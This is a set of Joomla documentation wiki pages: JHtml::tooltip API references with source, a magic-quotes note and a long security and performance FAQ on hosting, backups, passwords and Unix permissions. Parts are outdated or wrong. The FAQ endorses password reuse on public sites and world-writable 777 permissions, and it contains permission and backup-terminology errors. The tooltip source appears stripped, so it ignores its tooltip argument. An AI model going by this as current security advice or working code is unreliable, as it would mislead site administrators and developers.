*'''Alternative layout''' Apply an alternative layout or template override
*'''Module Class Suffix''' Apply a CSS suffix to the module
{{colheader|Caching}}
{{colheader|Cache Time}}

==Quick Tips==

No tips have been added.

API16:JHtml/tooltip

2011-06-26T21:45:35Z

Royce: /* Syntax */ Minor misspelling - depreciated != deprecated

===Description===
Creates a tooltip with an image as button


<nowiki>[</nowiki>[[Description:JHtml/tooltip|Edit Descripton]]<nowiki>]</nowiki>


{{Description:JHtml/tooltip}}

===Syntax===
<source lang="php">static tooltip($tooltip, $title= '', $image= 'tooltip.png', $text= '', $href= '', $link=1)</source>

{| class="wikitable"
|-
!Parameter Name
!Default Value
!Description
|-
| $tooltip
|
| $tooltip The tip string
|-
| $title
| ''
| $title The title of the tooltip
|-
| $image
| 'tooltip.png'
| $image The image for the tip, if no text is provided
|-
| $text
| ''
| $text The text for the tip
|-
| $href
| ''
| $href An URL that will be used to create the link
|-
| $link
| 1
| deprecated
|}

===Returns===
string

===Defined in===
libraries/joomla/html/html.php
===Importing===
<source lang="php">jimport( 'joomla.html.html' );</source>

===Source Body===
<source lang="php">
public static function tooltip(
$tooltip, $title = '', $image = 'tooltip.png', $text = '', $href = '', $link = 1
)
{
$tooltip = addslashes(htmlspecialchars($tooltip, ENT_COMPAT, 'UTF-8'));
$title = addslashes(htmlspecialchars($title, ENT_COMPAT, 'UTF-8'));

if (!$text) {
$image = JURI::root(true).'/includes/js/ThemeOffice/'. $image;
$text = '<img src="'. $image .'" border="0" alt="'. JText::_('Tooltip') .'"/>';
} else {
$text = JText::_($text, true);
}

if ($title) {
$title .= '::';
}

$style = 'style="text-decoration: none; color: #333;"';

$tip = '';
if ($href) {
$href = JRoute::_($href);
$style = '';
$tip .= '<a href="' . $href . '">' . $text . '</a>';
} else {
$tip .= $text . '';
}

return $tip;
}
</source>


<nowiki>[</nowiki>[[SeeAlso:JHtml/tooltip|Edit See Also]]<nowiki>]</nowiki>

{{SeeAlso:JHtml/tooltip}}

===Examples===
<CodeExamplesForm />
<dpl>
noresultsheader=\n
category=tooltip
category=JHtml
category=CodeExample
category=MethodExample
include=*
format= ,,,
</dpl>

API15:JHTML/tooltip

2011-06-26T21:45:18Z

Royce: /* Syntax */ Minor misspelling - depreciated != deprecated

===Description===
Creates a tooltip with an image as button


<nowiki>[</nowiki>[[Description:JHTML/tooltip|Edit Descripton]]<nowiki>]</nowiki>


{{Description:JHTML/tooltip}}

===Syntax===
<source lang="php">tooltip($tooltip, $title='', $image='tooltip.png', $text='', $href='', $link=1)</source>

{| class="wikitable"
|-
!Parameter Name
!Default Value
!Description
|-
| $tooltip
|
| $tooltip The tip string
|-
| $title
| ''
| $title The title of the tooltip
|-
| $image
| 'tooltip.png'
| $image The image for the tip, if no text is provided
|-
| $text
| ''
| $text The text for the tip
|-
| $href
| ''
| $href An URL that will be used to create the link
|-
| $link
| 1
| deprecated
|}

===Returns===
string

===Defined in===
libraries/joomla/html/html.php
===Importing===
<source lang="php">jimport( 'joomla.html.html' );</source>

===Source Body===
<source lang="php">
function tooltip($tooltip, $title='', $image='tooltip.png', $text='', $href='', $link=1)
{
$tooltip = addslashes(htmlspecialchars($tooltip, ENT_QUOTES, 'UTF-8'));
$title = addslashes(htmlspecialchars($title, ENT_QUOTES, 'UTF-8'));

if ( !$text ) {
$image = JURI::root(true).'/includes/js/ThemeOffice/'. $image;
$text = '<img src="'. $image .'" border="0" alt="'. JText::_( 'Tooltip' ) .'"/>';
} else {
$text = JText::_( $text, true );
}

if($title) {
$title = $title.'::';
}

$style = 'style="text-decoration: none; color: #333;"';

if ( $href ) {
$href = JRoute::_( $href );
$style = '';
$tip = '<a href="'. $href .'">'. $text .'</a>';
} else {
$tip = ''. $text .'';
}

return $tip;
}
</source>


<nowiki>[</nowiki>[[SeeAlso:JHTML/tooltip|Edit See Also]]<nowiki>]</nowiki>

{{SeeAlso:JHTML/tooltip}}

===Examples===
<CodeExamplesForm />
<dpl>
noresultsheader=\n
category=tooltip
category=JHTML
category=CodeExample
category=MethodExample
include=*
format= ,,,
</dpl>

Magic quotes and security

2011-06-26T21:44:57Z

Royce: Minor misspelling - depreciated != deprecated

JRequest automatically takes into account the setting of ''magic_quotes_gpc'' and adjusts accordingly. If developers are using JRequest to request input then the actual value of the setting doesn't matter. If developers aren't using it then they will have to take the setting of magic_quotes_gpc into account.

'''Magic Quotes Off''' there is an "increased" risk of SQL Injections due to poorly written
queries not being safely escaped in extensions hence the general PHP and JTS recommendation
that Magic Quotes be ON by default (although in the past PHP has left them
disabled in the default distribution) for a more secure environment.

This setting is now basically irrelevant (can be On or Off) due to the way that Joomla! has been written to overcome the problem of poorly written queries.

The setting is now deprecated and has actually been removed in later PHP releases anyway, hence developers of older PHP applications will need to complete a code review for compliance, and
safety, of which has already been completed by Joomla! quite some time ago and the issue was resolved with JRequest.

In the past, there has been much discussion regarding the performance implications of this setting, in general from my testing and experience, it was negligible at worst and unnoticed at best, unless the queries were very very large, but on the whole the trade-off of improved security against
SQL Injections far outweighs any discussions surrounding performance.

For more on [http://us3.php.net/magic_quotes magic quotes]

Edited from a discussion on Joomla CMS development Mailing list between A Eddie, R Winter and C Mandville


[[Category:Security Checklist]]

J1.5:How do I Remove Numbering on Section/Category Archive Page.

2011-06-26T21:44:35Z

Royce: Minor misspelling - depreciated != deprecated

== '''Remove Numbering on Section/Category Archive Page.''' ==

If you are referring to Category List Layout. You have to edit the file default_items.php located in the directory
\components\com_content\views\category\tmpl
to remove the number.
In case if you have a file default_items.php located in the directory
\components\your-template-name\com_content\category
then you should edit that file.

[[Category:Deprecated]]

Security and Performance FAQs

2011-06-26T21:44:08Z

Royce: /* How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}} */ Minor misspelling - depreciated != deprecated

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{| border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Consider recommendations:''' Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.
